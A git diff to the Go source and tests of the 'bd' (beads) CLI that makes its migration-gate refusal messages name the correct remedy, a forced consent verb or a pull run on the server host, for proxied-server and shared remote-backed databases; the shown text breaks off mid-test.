var allowErr error + out := captureStdout(t, func() error { + allowErr = validateProxyMaintenanceBeforeProvider(target) + return nil + }) + if allowErr != nil { + t.Errorf("%q is refused before the provider (%v), but the #6575 proxied data-behind guidance tells the operator it can be run from this workspace", + path, allowErr) + } + if out != "" { + t.Errorf("a non-refusal still emitted a typed error: %s", out) + } + + // The counterfactual, so "only the bare `bd migrate` verb is refused here" + // is a claim and not a vacuous one. + bare, _, err := rootCmd.Find([]string{"migrate"}) + if err != nil || bare == rootCmd { + t.Fatalf("bd migrate does not resolve: %v", err) + } + var bareErr error + refusal := captureStdout(t, func() error { + bareErr = validateProxyMaintenanceBeforeProvider(bare) + return nil + }) + if bareErr == nil { + t.Fatal("bare `bd migrate` is no longer refused in proxied-server mode; the data-behind guidance names it as the one form that is") + } + if !strings.Contains(refusal, `"code": "proxy.migrate.unsupported"`) { + t.Errorf("bare migrate refusal = %q, want proxy.migrate.unsupported", refusal) + } +} + func TestProxyCapabilityMatrix(t *testing.T) { for _, cap := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows} { err := AssertProxyCapability(ProxyModeProxied, cap) diff --git a/cmd/bd/remote_migrate_gate.go b/cmd/bd/remote_migrate_gate.go index eb0a2fb97..e1f6d290a 100644 --- a/cmd/bd/remote_migrate_gate.go +++ b/cmd/bd/remote_migrate_gate.go @@ -61,6 +61,22 @@ func humanDecisionRequired(e *schema.RemoteMigrateGateError) bool { return !(e.IsDataBehind() && !e.DataDiverged && !e.Shared) } +// dataBehindExpectedField renders the data-behind stop's `expected` field. +// +// On a proxied workspace the remedy is the same command in a different PLACE, +// and `expected` is what a single-field agent reader keys on. The option id, +// its when/risk and the hint all carry that qualifier, so leaving it off here +// alone would hand such a reader a command its own front door refuses +// (proxy.dolt_pull.unsupported). Kept out of handleRemoteMigrateGateJSON so +// the qualifier does not add another branch to that already-deep switch. +func dataBehindExpectedField(proxied bool) string { + const tail = "; the migration is only allowed once this clone has nothing left to pull" + if proxied { + return "run `" + schema.DataBehindRemedyCommand + "` on the machine that hosts this database first — this workspace is in proxied-server mode, where it is refused (proxy.dolt_pull.unsupported)" + tail + } + return "run `" + schema.DataBehindRemedyCommand + "` first" + tail +} + // handleRemoteMigrateGateJSON renders the #4259 remote-migrate gate error as a // structured JSON error block for agent consumption. // @@ -87,12 +103,13 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { if globalFlag { sharedConsent = schema.SharedConsentCommandGlobal } - // The #6575 data-behind stop on a SHARED store carries the same consent - // verb in its second option (migrate-shared-after-pulling), so it needs - // the same retarget: under --global the project-scoped verb would - // consent the wrong database and leave the refusal in place. It reaches - // here through the default arm (empty Decision), so the Decision test - // alone would miss it. + // The #6575 data-behind stop on a SHARED store carries a consent verb in + // its second option (migrate-shared-after-pulling) too — the forced one, + // since that stop is always remote-backed — so it needs the same + // retarget: under --global the project-scoped verb would consent the + // wrong database and leave the refusal in place. It reaches here through + // the default arm (empty Decision), so the Decision test alone would + // miss it. retargetShared := globalFlag && (e.Decision == "shared-no-remote" || (e.IsDataBehind() && e.Shared)) opts := make([]map[string]interface{}, 0, len(e.Options())) @@ -105,9 +122,18 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { // "expected" would still hand it the wrong-target command. retargeted := make([]string, len(commands)) for i, c := range commands { - if c == schema.SharedConsentCommand { + switch c { + case schema.SharedConsentCommand: retargeted[i] = schema.SharedConsentCommandGlobal - } else { + case schema.SharedConsentCommandForced: + // The data-behind arm's consent step is the FORCED + // verb (that stop is remote-backed by construction, + // where the bare verb's consent is never read), so it + // needs its own global form — matching only the bare + // verb would leave this option pointing at the + // project database. + retargeted[i] = schema.SharedConsentCommandForcedGlobal + default: retargeted[i] = c } } @@ -192,7 +218,7 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { gate["data_behind_shape"] = "fast-forward" } gate["observed"] = observed - gate["expected"] = "run `" + schema.DataBehindRemedyCommand + "` first; the migration is only allowed once this clone has nothing left to pull" + gate["expected"] = dataBehindExpectedField(e.Proxied) } } m["remote_migrate_gate"] = gate diff --git a/cmd/bd/remote_sync_open_test.go b/cmd/bd/remote_sync_open_test.go index 2059b682d..e7201940a 100644 --- a/cmd/bd/remote_sync_open_test.go +++ b/cmd/bd/remote_sync_open_test.go @@ -101,18 +101,27 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { } for _, tc := range []struct { - name string - diverged bool - wantShape string + name string + diverged bool + proxied bool + wantShape string + wantOptionID string }{ - {name: "fast-forward shape", diverged: false, wantShape: "fast-forward"}, - {name: "diverged shape", diverged: true, wantShape: "diverged"}, + {name: "fast-forward shape", diverged: false, wantShape: "fast-forward", wantOptionID: "pull-first"}, + {name: "diverged shape", diverged: true, wantShape: "diverged", wantOptionID: "pull-first"}, + // On a proxied workspace the remedy is the same command in a different + // PLACE, and observed/expected are what a single-field reader keys on. + // The qualifier reached the option id and the hint an iteration before + // it reached expected, which is the divergence this case exists to + // catch: all three are asserted together below. + {name: "proxied qualifies every remedy field", proxied: true, wantShape: "fast-forward", wantOptionID: "pull-first-on-server-host"}, } { t.Run(tc.name, func(t *testing.T) { gate := &schema.RemoteMigrateGateError{ CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", DataDiverged: tc.diverged, + Proxied: tc.proxied, } parsed := capture(t, gate) obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) @@ -149,8 +158,8 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { t.Fatalf("options = %v, want exactly one (the pull)", obj["options"]) } o, _ := rawOpts[0].(map[string]interface{}) - if id, _ := o["id"].(string); id != "pull-first" { - t.Errorf("option id = %v, want \"pull-first\"", o["id"]) + if id, _ := o["id"].(string); id != tc.wantOptionID { + t.Errorf("option id = %v, want %q", o["id"], tc.wantOptionID) } cmds, _ := o["commands"].([]interface{}) if len(cmds) != 1 || cmds[0] != schema.DataBehindRemedyCommand { @@ -171,6 +180,21 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { if hint == gate.EscapeHint() { t.Errorf("hint must not be the runnable escape command %q", gate.EscapeHint()) } + // The location qualifier is all-or-nothing across the three fields + // an agent may read on their own: an `expected`-only reader on this + // topology would otherwise be handed a command its own front door + // refuses, while `options` and `hint` said where to run it. + if tc.proxied { + for name, surface := range map[string]string{"expected": expected, "hint": hint} { + for _, want := range []string{"proxied-server mode", "proxy.dolt_pull.unsupported"} { + if !strings.Contains(surface, want) { + t.Errorf("proxied %s = %q, want it to carry %q the way options[0] does", name, surface, want) + } + } + } + } else if strings.Contains(expected, "proxied-server mode") { + t.Errorf("expected = %q carries the proxied qualifier on a direct workspace, where the pull is runnable here", expected) + } // Nothing anywhere in the block may offer the migrate/push pair or // the no-op bootstrap for this state. blob, err := json.Marshal(parsed) @@ -212,8 +236,10 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { } consent, _ := rawOpts[1].(map[string]interface{}) cmds, _ := consent["commands"].([]interface{}) - if len(cmds) != 1 || cmds[0] != schema.SharedConsentCommandGlobal { - t.Errorf("consent option commands = %v, want [%q] under --global", cmds, schema.SharedConsentCommandGlobal) + // The forced form, not the bare one: this stop is remote-backed by + // construction and the bare verb's consent is never read there. + if len(cmds) != 1 || cmds[0] != schema.SharedConsentCommandForcedGlobal { + t.Errorf("consent option commands = %v, want [%q] under --global", cmds, schema.SharedConsentCommandForcedGlobal) } // The pull is target-agnostic and must NOT be rewritten. pull, _ := rawOpts[0].(map[string]interface{}) diff --git a/cmd/bd/shared_migrate_consent_test.go b/cmd/bd/shared_migrate_consent_test.go index ada15c28a..4181bd02e 100644 --- a/cmd/bd/shared_migrate_consent_test.go +++ b/cmd/bd/shared_migrate_consent_test.go @@ -2,12 +2,15 @@ package main import ( "bytes" + "context" "io" "os" "strings" "testing" + sqlmock "github.com/DATA-DOG/go-sqlmock" "github.com/spf13/cobra" + "github.com/spf13/pflag" "github.com/steveyegge/beads/internal/storage/schema" ) @@ -189,17 +192,173 @@ func TestPrintGlobalDatabaseConsentHint(t *testing.T) { orig := globalFlag defer func() { globalFlag = orig }() + sharedNoRemote := &schema.RemoteMigrateGateError{ + CurrentVersion: 65, LatestVersion: 66, Pending: 1, + Decision: "shared-no-remote", Shared: true, + } + globalFlag = false var off bytes.Buffer - printGlobalDatabaseConsentHint(&off) + printGlobalDatabaseConsentHint(&off, sharedNoRemote) if off.Len() != 0 { t.Errorf("no hint without --global, got:\n%s", off.String()) } globalFlag = true var on bytes.Buffer - printGlobalDatabaseConsentHint(&on) + printGlobalDatabaseConsentHint(&on, sharedNoRemote) if !strings.Contains(on.String(), schema.SharedConsentCommandGlobal) { t.Errorf("hint must name %q:\n%s", schema.SharedConsentCommandGlobal, on.String()) } + + // The data-behind stop on a shared store is the arm where "the same verb + // with the same flag" is not enough: it is remote-backed by construction, + // so the bare verb's consent is never read and a --global rewrite of it is + // still a command that cannot succeed. Mirrors the JSON retarget. + var behind bytes.Buffer + printGlobalDatabaseConsentHint(&behind, &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", Shared: true, + }) + if !strings.Contains(behind.String(), schema.SharedConsentCommandForcedGlobal) { + t.Errorf("the shared data-behind hint must name %q:\n%s", + schema.SharedConsentCommandForcedGlobal, behind.String()) + } +} + +// expectRemoteBackedSharedProbe mocks the probe sequence a shared, +// remote-backed store makes before the gate decides: CurrentVersion, then +// PendingVersions (both a cursor probe plus a max-version read), then the +// remote count. With the smart router pinned off, no further query follows +// either outcome, so an unmet expectation means the gate took a path this test +// does not describe. +func expectRemoteBackedSharedProbe(mock sqlmock.Sqlmock) { + for i := 0; i < 2; i++ { + mock.ExpectQuery(`SELECT COUNT\(\*\) FROM information_schema\.tables`). + WithArgs("schema_migrations"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + mock.ExpectQuery(`SELECT COALESCE\(MAX\(version\), 0\) FROM schema_migrations`). + WillReturnRows(sqlmock.NewRows([]string{"version"}).AddRow(1)) + } + mock.ExpectQuery(`SELECT COUNT\(\*\) FROM dolt_remotes`). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) +} + +// runPrescribedConsent replays the root PersistentPreRunE for one command line +// and reports what the real shared gate does afterwards on a remote-backed +// store. It resolves the command through the same cobra lookup the pre-run +// uses and feeds it to the same two predicates, so a command string that is +// not actually the consenting verb cannot pass by looking like one. +func runPrescribedConsent(t *testing.T, cmdline string) error { + t.Helper() + t.Setenv(schema.SmartGateEnv, "0") + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + + args := strings.Fields(strings.TrimPrefix(cmdline, "bd ")) + target, rest, err := rootCmd.Find(args) + if err != nil { + t.Fatalf("the gate prescribes %q, which does not resolve to a command: %v", cmdline, err) + } + if target == rootCmd { + t.Fatalf("the gate prescribes %q, which resolves to bare bd", cmdline) + } + if err := target.ParseFlags(rest); err != nil { + t.Fatalf("the gate prescribes %q, whose flags do not parse: %v", cmdline, err) + } + t.Cleanup(func() { + // These cobra commands are package-level singletons, so a parsed flag + // outlives the test that parsed it and would silently consent for the + // next one. + target.Flags().VisitAll(func(f *pflag.Flag) { + if !f.Changed { + return + } + _ = f.Value.Set(f.DefValue) + f.Changed = false + }) + schema.SetForceAllowRemoteMigrate(false) + schema.SetSharedMigrateConsent(false) + }) + + // The two lines the root pre-run runs, verbatim in effect. + schema.SetForceAllowRemoteMigrate(isForcedMigrate(target)) + schema.SetSharedMigrateConsent(isSchemaMigrateVerb(target) && !isPreviewCommand(target)) + + db, mock, err := sqlmock.New() + if err != nil { + t.Fatal(err) + } + defer db.Close() + expectRemoteBackedSharedProbe(mock) + + var gateErr error + _ = captureNoticeStderr(t, func() { + gateErr = schema.CheckSharedStoreMigrateGate(context.Background(), db, "", nil, nil) + }) + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations for %q: %v", cmdline, err) + } + return gateErr +} + +// TestDataBehindSharedConsentCommandUnlocks is the executing twin of +// TestSharedRefusalPrescribesAWorkingVerb, for the #6575 data-behind stop on a +// shared store — the one arm where the structural pairing that test checks is +// not enough. +// +// That stop always has a remote configured (behind-ness is read from the +// remote-tracking ref), and on the remote-backed arm the bare verb's consent +// is never read: schema.sharedMigrateConsent has a single reader, inside +// sharedNoRemoteGate, which is reachable only when no remote is configured. +// So the option this refusal carries has to be checked by RUNNING its consent +// path. Asserting its wording is exactly what let a dead command ship: the +// pre-existing tests pinned the option's text and passed throughout. +// +// The command under test is taken from Options() rather than written out here, +// so this stays a test of whatever the gate actually prescribes. +func TestDataBehindSharedConsentCommandUnlocks(t *testing.T) { + behindShared := &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", Shared: true, + } + + opts := behindShared.Options() + if len(opts) != 2 || opts[1].ID != "migrate-shared-after-pulling" || len(opts[1].Commands) != 1 { + t.Fatalf("Options() = %+v, want pull-first then a single-command consent step", opts) + } + prescribed := opts[1].Commands[0] + + t.Run("the prescribed command unlocks the post-pull retry", func(t *testing.T) { + if err := runPrescribedConsent(t, prescribed); err != nil { + t.Fatalf("the gate prescribes %q for this state, but running its consent path still refuses: %v", + prescribed, err) + } + }) + + // The counterfactual, and the regression pin: the command that shipped. + // If this ever passes, the consent read has moved and the option above can + // go back to the bare verb. + t.Run("the bare verb does not, which is why the option carries --force", func(t *testing.T) { + err := runPrescribedConsent(t, schema.SharedConsentCommand) + if err == nil { + t.Fatal("the bare verb now unlocks a remote-backed shared store; revisit SharedConsentCommandForced") + } + if !schema.IsRemoteMigrateGateError(err) { + t.Fatalf("want the gate refusal, got %T: %v", err, err) + } + }) + + // Every surface that names a consent command for this stop must name the + // one just executed — the finding was four surfaces agreeing on a dead + // command, so agreement alone is not the property worth pinning. + t.Run("the prose surfaces name the executed command", func(t *testing.T) { + for name, surface := range map[string]string{ + "UserMessage": behindShared.UserMessage(), + "AgentDirective": behindShared.AgentDirective(), + } { + if !strings.Contains(surface, prescribed) { + t.Errorf("%s does not name the prescribed consent command %q:\n%s", name, prescribed, surface) + } + } + }) } diff --git a/cmd/bd/uow_factory.go b/cmd/bd/uow_factory.go index a6bdac741..adbfb8aa7 100644 --- a/cmd/bd/uow_factory.go +++ b/cmd/bd/uow_factory.go @@ -197,6 +197,13 @@ func openProxiedServerUOWProvider(ctx context.Context, beadsDir, databaseOverrid if err != nil { return nil, err } + // This is the one entry point that is proxied-server mode by definition; + // the funnel below is shared with `bd serve`'s SERVER-mode provider, which + // must not be told it is proxied. The distinction reaches exactly one + // thing: a migration-gate refusal whose remedy is `bd dolt pull` has to + // say where that pull can be run, because proxied mode refuses it at the + // front door (proxy.dolt_pull.unsupported) and server mode does not. + opts = append(append([]uow.ProviderOption{}, opts...), uow.WithProxiedServerMode()) return newSQLServerUOWProvider(ctx, beadsDir, topology, opts...) } diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 5a881d7fe..262edf8dd 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -127,6 +127,20 @@ type RemoteMigrateGateError struct { // can report conflicts to resolve first. Set only when // FallbackReason == fallbackReasonDataBehind; meaningless otherwise. DataDiverged bool + + // Proxied marks a refusal raised on a proxied-server-mode open — the unit + // of work provider, which reaches its database only through the dbproxy. + // It changes WHERE the data-behind remedy can be run, not what it is: in + // that mode `bd dolt pull` is refused at the front door + // (proxy.dolt_pull.unsupported, cmd/bd/proxy_capability.go), along with + // `bd dolt push`, `bd migrate` and `bd conflicts`. Printing the bare + // command there would hand the operator a remedy their own binary rejects, + // so the surfaces that name it say to run it where the database lives. + // + // Deliberately set by the provider after the gate returns rather than + // plumbed into the gate: the topology is the caller's fact, and every + // other injection site would have to pass a constant false. + Proxied bool } const ( @@ -268,7 +282,16 @@ func (e *RemoteMigrateGateError) fallbackReasonNote() string { case fallbackReasonSharedStore: why = "this store is shared (dolt sql-server); the first-mover auto-migrate is disabled here because it would lock out co-resident clients (#5920)" case fallbackReasonDataBehind: - why = "this clone is behind the remote in data commits it has not pulled, so it is not the first-mover it looks like on schema alone — migrating in place would diverge from those commits, and can leave every later `bd dolt pull` refusing to merge (#6575, #6368). Run `" + DataBehindRemedyCommand + "` first, then retry: this clone is then the true first-mover it looked like" + // UserMessage prints this note AFTER userBody, so on a proxied + // workspace an unqualified remedy makes the LAST paragraph tell the + // operator to type here the command the paragraph above just said the + // front door refuses. Gate it the same way dataBehindBody and + // Options() already do. + remedy := "Run `" + DataBehindRemedyCommand + "` first, then retry" + if e.Proxied { + remedy = "Run `" + DataBehindRemedyCommand + "` on the server host first (this workspace is in proxied-server mode, which refuses it — proxy.dolt_pull.unsupported), then retry here" + } + why = "this clone is behind the remote in data commits it has not pulled, so it is not the first-mover it looks like on schema alone — migrating in place would diverge from those commits, and can leave every later `bd dolt pull` refusing to merge (#6575, #6368). " + remedy + ": this clone is then the true first-mover it looked like" // Only promise the retry resolves itself where it actually does. On a // shared store the first-mover auto-migrate is suppressed regardless // (fallbackReasonSharedStore, #5920), so pulling clears THIS stop but @@ -283,7 +306,7 @@ func (e *RemoteMigrateGateError) fallbackReasonNote() string { // lockout; data-behind now outranks it, so without this clause the // operator loses the warning that promoting the schema on a shared // server locks out every co-resident client still on an older bd. - why += " — but on this shared store the migrate still needs explicit consent (`" + SharedConsentCommand + "`), because it promotes the schema for every co-resident bd client at once and clients still on an older binary will refuse this database until they are upgraded (#5920)" + why += " — but on this shared store the migrate still needs explicit consent (`" + SharedConsentCommandForced + "`), because it promotes the schema for every co-resident bd client at once and clients still on an older binary will refuse this database until they are upgraded (#5920)" } default: return "" @@ -322,20 +345,60 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { " This clone has no commits of its own, so the pull is a pure fast-forward:\n" + " nothing local is merged or discarded.\n" } + if e.Proxied { + // The remedy is the same command; what changes is where it can be + // typed. This workspace reaches the database through the dbproxy, and + // the proxied front door refuses `bd dolt pull` outright — so leaving + // the line above unqualified would name a command this very binary + // rejects (gastownhall/beads#6575 follow-up). It sits after the shape + // clause because the conflict handling that clause describes moves to + // the same machine. + body += "" + + "\n" + + " That pull cannot be run from here: this workspace is in proxied-server mode,\n" + + " which refuses `" + DataBehindRemedyCommand + "` at the front door (proxy.dolt_pull.unsupported),\n" + + " along with `bd dolt push`, the bare `bd migrate` and `bd conflicts`. Run\n" + + " it — and any conflict resolution it needs — where the database lives: on\n" + + " the server host, from a workspace with direct access to that database.\n" + } body += "" + "\n" + " Then re-run what you just ran.\n" if e.Shared { // #5920: on a shared store the first-mover auto-migrate stays - // suppressed after the pull, so the retry needs the consent verb. + // suppressed after the pull, so the retry needs explicit consent. // Saying "it proceeds on its own" here would loop the operator. + // The command is the FORCED verb, not the bare one: this stop always + // has a remote (that is where behind-ness is read from), and the bare + // verb's consent is only read on the no-remote arm — see + // SharedConsentCommandForced. body += "" + " This database is served to co-resident bd clients, so the migration itself\n" + " still needs explicit consent afterwards — it promotes the schema for EVERY\n" + " client at once, and clients still on an older bd will refuse this database\n" + - " until they are upgraded (#5920):\n" + - " " + SharedConsentCommand + "\n" + - " (" + SharedConsentCommandGlobal + " for the shared global database)\n" + " until they are upgraded (#5920). Once the pull above has completed:\n" + + " " + SharedConsentCommandForced + "\n" + + " (" + SharedConsentCommandForcedGlobal + " for the shared global database)\n" + if e.Proxied { + // Unlike the pull, this consent step is NOT refused here, and + // saying otherwise would be wrong in the unsafe direction. The + // proxied refusal table keys on the command path + // (cmd/bd.proxyMaintenanceRefusals): it registers the bare + // `migrate` verb and its hooks/issues/sync children, but has no + // `migrate schema` row, so the two-word path falls through + // validateProxyMaintenanceBeforeProvider to a proxied arm that + // reports the migration the provider open just applied under this + // verb's consent. A reader told it is blocked here tries it to + // confirm — and forceOrEnvConsent is honored BEFORE this stop is + // ever routed, so the wedge lands on the one topology that can + // still take it. State the real precondition instead: not where, + // but when. + body += "" + + " Unlike the pull, that consent step CAN be run from here: the proxied front\n" + + " door refuses the bare `bd migrate` verb, not `" + SharedConsentCommandForced + "`,\n" + + " and the provider open applies the migration under it. That is exactly why\n" + + " it has to wait — run it only after the pull on the server host completes.\n" + } } else { body += "" + " The migration then runs on its own: with nothing left to pull, this clone\n" + @@ -347,6 +410,32 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { " while this clone is still behind — the exact state this stop exists to\n" + " prevent — and the `bd dolt push` that would follow is rejected as a\n" + " non-fast-forward, because the clone is still missing the remote's commits.\n" + if e.Shared { + // The consent command this arm prescribes is itself a forced migrate, + // so the warning above has to say what makes that one different: the + // pull having already landed, not the flag. Named in full rather than + // as "the command above", which is ambiguous once the proxied clause + // below is also printed. + body += "" + + " The same holds for `" + SharedConsentCommandForced + "` until the pull has\n" + + " finished: what makes it safe is that there is nothing left to pull by then.\n" + } + if e.Proxied { + // Only the BARE `bd migrate` the warning above names is refused here. + // Two other surfaces carry the same forced consent and are both + // reachable from this workspace: the two-word `migrate schema` path, + // which no proxy refusal row matches, and the env hatch, which no + // command dispatch touches at all. forceOrEnvConsent reads both before + // this stop is routed, so a proxied warning that implies the topology + // already blocks the wedge would leave it open on the one topology + // that can still take it. + body += "" + + " Being in proxied-server mode does not put that out of reach: the front door\n" + + " refuses the bare `bd migrate` verb, not `" + SharedConsentCommandForced + "`, and\n" + + " " + AllowRemoteMigrateEnv + "=1 grants the same consent to ANY command, including\n" + + " the one you just ran. Both are honored before this stop is even reached, so\n" + + " do not reach for either to get past it.\n" + } return body } @@ -472,10 +561,17 @@ func (e *RemoteMigrateGateError) AgentDirective() string { } else { d += " This clone has no commits of its own, so that pull is a pure fast-forward and discards nothing." } + if e.Proxied { + d += " This workspace is in proxied-server mode, where `" + DataBehindRemedyCommand + "` is refused at the " + + "front door (proxy.dolt_pull.unsupported) — do NOT attempt it here. The pull has to be run where the " + + "database lives (the server host, from a workspace with direct access to it); surface that to the " + + "operator rather than retrying locally." + } if e.Shared { - d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommand + - "): this database is shared with co-resident bd clients and migrating promotes the schema for all of " + - "them at once (#5920). Do NOT auto-run it." + d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommandForced + + " — this store is remote-backed, so the bare verb does not unlock it; see SharedConsentCommandForced): " + + "this database is shared with co-resident bd clients and migrating promotes the schema for all of " + + "them at once (#5920). Do NOT auto-run it, and do NOT run it before the pull has completed." } else { d += " After the pull, re-running the original command migrates on its own; nothing else is needed." } @@ -555,8 +651,20 @@ func (e *RemoteMigrateGateError) Options() []GateOption { if e.DataDiverged { risk = "this clone also has commits of its own, so the pull MERGES; it can report conflicts that must be resolved before it completes (bd dolt pull --strategy ours|theirs on embedded storage, bd conflicts resolve on a server store). Nothing is discarded without that resolution" } + id := "pull-first" + if e.Proxied { + // An option an agent can read as runnable-here is the harm on this + // topology: the proxied front door refuses the command. Say WHERE + // in both the id and the precondition, so neither a Commands-only + // reader nor an id-only reader is misled. + id = "pull-first-on-server-host" + when = "always, for this stop, but NOT from this workspace: it is in proxied-server mode, where " + + DataBehindRemedyCommand + " is refused (proxy.dolt_pull.unsupported). Run it on the machine that " + + "hosts this database, from a workspace with direct access to it, then retry here" + risk += "; running it from this proxied workspace fails with proxy.dolt_pull.unsupported and changes nothing" + } pull := GateOption{ - ID: "pull-first", + ID: id, When: when, Commands: []string{DataBehindRemedyCommand}, Risk: risk, @@ -564,12 +672,29 @@ func (e *RemoteMigrateGateError) Options() []GateOption { if e.Shared { // The pull itself is still safe; what the shared store changes is // what happens AFTER it, so the consent step becomes a second - // option rather than a footnote on the first (#5920). + // option rather than a footnote on the first (#5920). It carries + // the FORCED verb because this stop is always remote-backed and + // the bare verb's consent is read only on the no-remote arm — an + // option whose command cannot succeed in the state that printed it + // is worse than no option (see SharedConsentCommandForced). + consentWhen := "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)" + consentRisk := "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents. Its --force consents to migrating a remote-backed shared store (the bare verb's consent is read only with no remote configured); it does not make migrating while behind safe" + if e.Proxied { + // Unlike the pull, this command is NOT refused here: the + // refusal table has no "migrate schema" row, so the two-word + // path falls through and the provider open applies the + // migration under its consent. The precondition is therefore + // temporal, not locational — and it is the only thing between + // an agent on this topology and the wedge, because forced + // consent is honored before this stop is routed at all. + consentWhen += ". Unlike the pull this one IS runnable from this proxied workspace — the front door refuses the bare `bd migrate`, not this two-word path — so the pull-first half of this precondition is load-bearing here, not a formality" + consentRisk += ". Running it from this proxied workspace does NOT fail closed the way the pull does: the consent is honored before this stop is routed, and the provider open applies the migration" + } return []GateOption{pull, { ID: "migrate-shared-after-pulling", - When: "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)", - Commands: []string{SharedConsentCommand}, - Risk: "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents", + When: consentWhen, + Commands: []string{SharedConsentCommandForced}, + Risk: consentRisk, }} } return []GateOption{pull} @@ -974,6 +1099,32 @@ const SharedConsentCommand = "bd migrate schema" // migrates the wrong one. const SharedConsentCommandGlobal = SharedConsentCommand + " --global" +// SharedConsentCommandForced is the consent command for a shared database that +// IS remote-backed. Every #6575 data-behind stop is in that state by +// construction — behind-ness is read from `remotes//`, so there +// is always a remote — and there the bare verb above is a dead end: +// sharedMigrateConsent has exactly one reader, sharedNoRemoteGate, which +// checkRemoteMigrateGate reaches only on the !hasRemote branch. With a remote +// configured the retry routes through forceOrEnvConsent instead, so typing the +// bare verb sets a consent nothing reads and the operator lands on the blunt +// shared-store refusal, whose body prescribes the `bd migrate --force` this +// stop's own body tells them not to use. +// +// The fix is deliberately the command, not the gate: widening +// sharedNoRemoteGate's verb consent to the remote-backed arm would drop the +// designated-migrator confirmation that #4259's cross-clone fork risk demands +// whenever a remote exists, which is the very thing sharedNoRemoteGate's +// comment says is intentional. `--force` is what forceOrEnvConsent honors, and +// the CLI accepts it on this verb (cmd/bd.isForcedMigrate covers both +// `bd migrate` and `bd migrate schema`), so this is the narrowest command that +// still names the schema migration AND actually unlocks the retry. +const SharedConsentCommandForced = SharedConsentCommand + " --force" + +// SharedConsentCommandForcedGlobal is SharedConsentCommandForced aimed at the +// shared global database, for the same reason SharedConsentCommandGlobal +// exists. +const SharedConsentCommandForcedGlobal = SharedConsentCommandGlobal + " --force" + // sharedNoRemoteGate decides the shared-store-without-a-remote arm // (gastownhall/beads#5920). There is no remote, so none of the #4259 // migrate-vs-adopt machinery applies: the only question is whether the diff --git a/internal/storage/schema/smart_remote_migrate_gate.go b/internal/storage/schema/smart_remote_migrate_gate.go index ab26d88a2..3b48b07cb 100644 --- a/internal/storage/schema/smart_remote_migrate_gate.go +++ b/internal/storage/schema/smart_remote_migrate_gate.go @@ -246,9 +246,11 @@ func routeAdoptFastForward(ctx context.Context, db DBConn, ref string, adopt *Fa // (behind == 0) and a purely-ahead clone (behind == 0, ahead >= 1) are still // permitted — they are genuine first-movers with nothing to pull. // -// adopt may be nil, or wire neither callback (the shared unit-of-work -// provider's injection site) — then there is no ancestry fact to read and -// routing stays exactly as it was before this check existed. With only +// adopt may be nil, or wire neither callback — then there is no ancestry fact +// to read and routing stays exactly as it was before this check existed. (The +// shared unit-of-work provider's injection site wires AheadBehind only; every +// other callback stays nil there deliberately, so no new auto-write path +// opens.) With only // IsStrictAncestor wired, the fact narrows to the ahead == 0 shape; the // diverged shape then reads "not behind", which is the pre-widening // behavior rather than a new hazard. diff --git a/internal/storage/schema/smart_remote_migrate_gate_test.go b/internal/storage/schema/smart_remote_migrate_gate_test.go index 55375c8c1..28093fc1c 100644 --- a/internal/storage/schema/smart_remote_migrate_gate_test.go +++ b/internal/storage/schema/smart_remote_migrate_gate_test.go @@ -1246,11 +1246,23 @@ func TestDataBehindRemedySurfaces(t *testing.T) { // fallbackReasonSharedStore (whose note carried them) and Options()' // sharedRisk only ever decorated the adopt option. msg := base(true, false).UserMessage() - for _, want := range []string{"co-resident", "#5920", SharedConsentCommand} { + for _, want := range []string{"co-resident", "#5920", SharedConsentCommandForced} { if !strings.Contains(msg, want) { t.Errorf("shared data-behind message is missing %q:\n%s", want, msg) } } + // This stop always has a remote (that is where behind-ness is read + // from), so the bare verb is a dead end here: its consent is read only + // by sharedNoRemoteGate, on the !hasRemote branch. Asserting the forced + // form above is not enough — every forced form CONTAINS the bare form + // as a substring, so a regression to the bare verb would still satisfy + // it. Remove the forms that do work, then require nothing prescribing + // the bare one is left. + scrubbed := strings.ReplaceAll(msg, SharedConsentCommandForcedGlobal, "") + scrubbed = strings.ReplaceAll(scrubbed, SharedConsentCommandForced, "") + if strings.Contains(scrubbed, SharedConsentCommand) { + t.Errorf("shared data-behind message prescribes the bare verb, which cannot succeed with a remote configured:\n%s", msg) + } if strings.Contains(msg, "proceeds on its own") { t.Errorf("a shared store must not be promised an automatic retry:\n%s", msg) } @@ -1300,6 +1312,63 @@ func TestDataBehindRemedySurfaces(t *testing.T) { t.Error("IsDataBehind() = true on a nil receiver") } }) + + // Proxied-server mode is the one topology where the remedy command is + // correct and unrunnable at the same time: `bd dolt pull` is refused at the + // front door (proxy.dolt_pull.unsupported), as are `bd dolt push`, + // `bd migrate` and `bd conflicts`. Naming it unqualified there hands the + // operator a command their own binary rejects, which is how they end up + // reaching for the one hatch the proxy does NOT refuse. + t.Run("proxied surfaces say where the pull can be run", func(t *testing.T) { + proxied := func(shared bool) *RemoteMigrateGateError { + e := base(shared, false) + e.Proxied 